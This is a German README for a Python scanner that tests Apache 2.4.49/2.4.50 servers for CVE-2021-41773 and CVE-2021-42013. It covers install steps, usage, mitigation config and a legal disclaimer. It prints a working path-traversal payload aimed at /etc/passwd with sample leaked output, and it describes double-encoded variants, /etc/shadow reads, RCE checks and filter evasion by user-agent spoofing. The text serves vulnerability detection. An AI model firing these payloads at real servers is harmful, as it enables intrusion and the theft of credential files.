
Python-basierter Scanner zur Erkennung von CVE-2021-41773 und CVE-2021-42013, Path-Traversal- und Remote-Code-Ausführungs-Schwachstellen in Apache HTTP Server 2.4.49 und 2.4.50.
Ein umfassender, auf Python basierender Vulnerability Scanner zur Erkennung der CVE-2021-41773 und CVE-2021-42013 Path-Traversal- und Remote-Code-Execution-Schwachstellen in Apache HTTP Server Versionen 2.4.49 und 2.4.50.
CVE-2021-41773 und CVE-2021-42013 sind kritische Sicherheitslücken im Apache HTTP Server, die Angreifern Folgendes ermöglichen:
Diese Schwachstellen erlangten im Oktober 2021 große Aufmerksamkeit und werden aktiv in der Praxis ausgenutzt.
.%2e) zu verwenden, um Verzeichnisbeschränkungen zu umgehen/etc/passwd, Ausführen beliebiger Befehle, wenn mod_cgi aktiviert ist%%32%65)✅ Doppelte CVE-Erkennung: Testet sowohl CVE-2021-41773 als auch CVE-2021-42013 ✅ Path-Traversal-Tests: Mehrere Payload-Varianten für Dateizugriffsversuche ✅ RCE-Tests: Überprüfung der Remote-Code-Ausführung, wenn mod_cgi aktiviert ist ✅ Batch-Scanning: Mehrere Ziele aus einer Datei scannen ✅ Farbcodierte Ausgabe: Leicht lesbare formatierte Ergebnisse ✅ Anpassbares Timeout: Einstellbares Request-Timeout für unzuverlässige Netzwerke ✅ User-Agent-Spoofing: Umgeht grundlegende Filtermechanismen
requests-Bibliothekcolorama-Bibliothekhttps://github.com/drackyjr/CVE-2021-42013.git
cd cve-2021-41773-42013
pip3 install -r requirements.txt
Oder manuell installieren:
pip3 install requests colorama
python3 cve_scanner.py -u http://192.168.1.100
python3 cve_scanner.py -u https://target.com
python3 cve_scanner.py -u http://target.com -t 15
python3 cve_scanner.py -l targets.txt
python3 cve_scanner.py -h
| Argument | Kurzform | Typ | Beschreibung |
|---|---|---|---|
--url | -u | STRING | Ziel-URL (z.B. http://example.com) |
--list | -l | DATEI | Datei mit einer Liste von Zielen (eines pro Zeile) |
--timeout | -t | INTEGER | Request-Timeout in Sekunden (Standard: 10) |
python3 cve_scanner.py -u http://192.168.1.100
Erstelle targets.txt:
http://192.168.1.100
https://example.com:8080
http://10.0.0.50
https://vulnerable.server.com
Danach ausführen:
python3 cve_scanner.py -l targets.txt -t 15
python3 cve_scanner.py -u http://target.com -t 30
Der Scanner liefert detaillierte Ausgaben, einschließlich:
Beispielausgabe:
============================================================
CVE-2021-41773 / CVE-2021-42013 Vulnerability Scanner
============================================================
[*] Ziel: http://192.168.1.100
[*] Teste CVE-2021-41773 (Apache 2.4.49)...
[+] ANFÄLLIG FÜR CVE-2021-41773!
[+] Payload: /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
[+] Antwort:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
============================================================
Scan-Zusammenfassung
============================================================
[!] Ziel ist ANFÄLLIG!
[!] Sofortiges Patchen erforderlich!
[*] Empfehlung: Upgrade auf Apache HTTP Server 2.4.51 oder höher
============================================================
.%2e)/cgi-bin/, /icons/, /images//etc/passwd und /etc/shadow zu lesen%%32%65)id aus, um die Codeausführung zu verifizierenuid= und gid= in der AntwortDer Scanner sucht nach:
root: oder daemon:-Einträge aus /etc/passwduid= und gid= aus der Ausführung des id-Befehls<Directory />
Require all denied
</Directory>
# Zugriff auf sensible Verzeichnisse beschränken
<Directory /cgi-bin>
Require all denied
</Directory>
# Symbolische Links deaktivieren, falls nicht benötigt
Options -FollowSymLinks
# Sicherheitsheader aktivieren
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
# Apache-Version prüfen
apache2 -v
httpd -v
| Version | Status | Aktion |
|---|---|---|
| 2.4.49 | ❌ Anfällig | Sofort upgraden |
| 2.4.50 | ⚠️ Teilweise gepatcht | Upgrade auf 2.4.51+ |
| 2.4.51+ | ✅ Gepatcht | Keine Aktion erforderlich |
⚠️ WICHTIG: Dieses Tool ist NUR für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Unbefugter Zugriff auf Computersysteme ist ILLEGAL gemäß Gesetzen wie dem Computer Fraud and Abuse Act (CFAA) und ähnlichen Gesetzen weltweit.
Nur zur autorisierten Nutzung:
Missbrauchswarnung: Die Nutzer sind dafür verantwortlich, sicherzustellen, dass sie vor dem Testen eines Ziels eine ausdrückliche Autorisierung haben. Die Autoren übernehmen keine Haftung für unbefugte Nutzung.
Dieser Scanner ist ideal für:
.
├── cve_scanner.py # Haupt-Scanner-Skript
├── requirements.txt # Python-Abhängigkeiten
├── README.md # Diese Datei
├── targets.txt # Beispiel-Zielliste
└── LICENSE # Lizenzinformationen
requests==2.28.1
colorama==0.4.5
http://192.168.1.100
https://vulnerable.example.com
http://10.0.0.50:8080
Lösung: Timeout mit der Option -t erhöhen
python3 cve_scanner.py -u http://target.com -t 30
Lösung: Das Skript deaktiviert standardmäßig die SSL-Überprüfung. Falls Probleme bestehen bleiben, stellen Sie sicher, dass die Python-Zertifikate aktualisiert sind:
pip3 install --upgrade certifi
Lösung: Stellen Sie sicher, dass alle Abhängigkeiten installiert sind
pip3 install -r requirements.txt
Lösung: Machen Sie das Skript ausführbar
chmod +x cve_scanner.py
python3 cve_scanner.py -u http://target.com
-l mit einer Zieldatei für mehrere ScansBeiträge sind willkommen! So können Sie beitragen:
git checkout -b feature/verbesserung)git commit -m 'Verbesserung hinzugefügt')git push origin feature/verbesserung)Bitte stellen Sie sicher:
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Weitere Details finden Sie in der LICENSE-Datei.
Security Testing Tool
Erstellt für Bildungs- und autorisierte Sicherheitstestzwecke.
Bei Fragen, Problemen oder Anregungen öffnen Sie bitte ein Issue auf GitHub.
Letzte Aktualisierung: November 2025
Status: Aktive Entwicklung
Getestet auf: Python 3.8+, Apache 2.4.49, 2.4.50